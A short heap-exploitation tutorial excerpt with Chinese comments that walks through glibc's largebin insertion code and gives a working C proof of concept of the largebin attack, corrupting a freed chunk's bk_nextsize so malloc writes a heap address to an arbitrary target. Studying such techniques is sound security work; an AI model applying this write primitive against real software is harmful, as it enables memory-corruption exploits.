victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
assert (chunk_main_arena (bck->bk));
if ( size < chunksize_nomask (bck->bk)) //size 最小
{
       fwd = bck; //因为是相对于 victim 的结构所以这个要换一下 bck, fwd 来原本 bck 的位置
       bck = bck->bk; 

       victim->fd_nextsize = fwd->fd; 
       victim->bk_nextsize = fwd->fd->bk_nextsize;
       fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; /*先进行右值运算，如果在没有进行修改的情况下，等式可以化简为 fwd-> fd-> bk_nextsize = victim，也就是最大堆块的 bk_nextsize 指向我们的最小堆块 victim*/
}

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main(){
    size_t target=0xffffffffffffffff;

    size_t *bigger = malloc(0x428);
    malloc(0x18);
    size_t *smaller = malloc(0x418);
    malloc(0x18);
    free(bigger);
    malloc(0x438); 
    free(smaller);
    bigger[3] = (size_t)((&target)-4);
    size_t *g4 = malloc(0x438); //放进 lagebin 里一个比该 bin 小的 unsorted bin
    assert((size_t)(smaller-2) == target);
    return 0;
}

if ( size < chunksize_nomask (bck->bk)) //size 最小
{
       fwd = bck; 
       bck = bck->bk; 
       /*此时：victim = smaller fwd-> fd = bigger */
       victim->fd_nextsize = fwd->fd; 
       victim->bk_nextsize = fwd->fd->bk_nextsize; //target 写入 victim-> bk_nextsize
       fwd->fd->bk_nextsize = victim; 
       victim->bk_nextsize->fd_nextsize = victim;  //victim 写入 target
}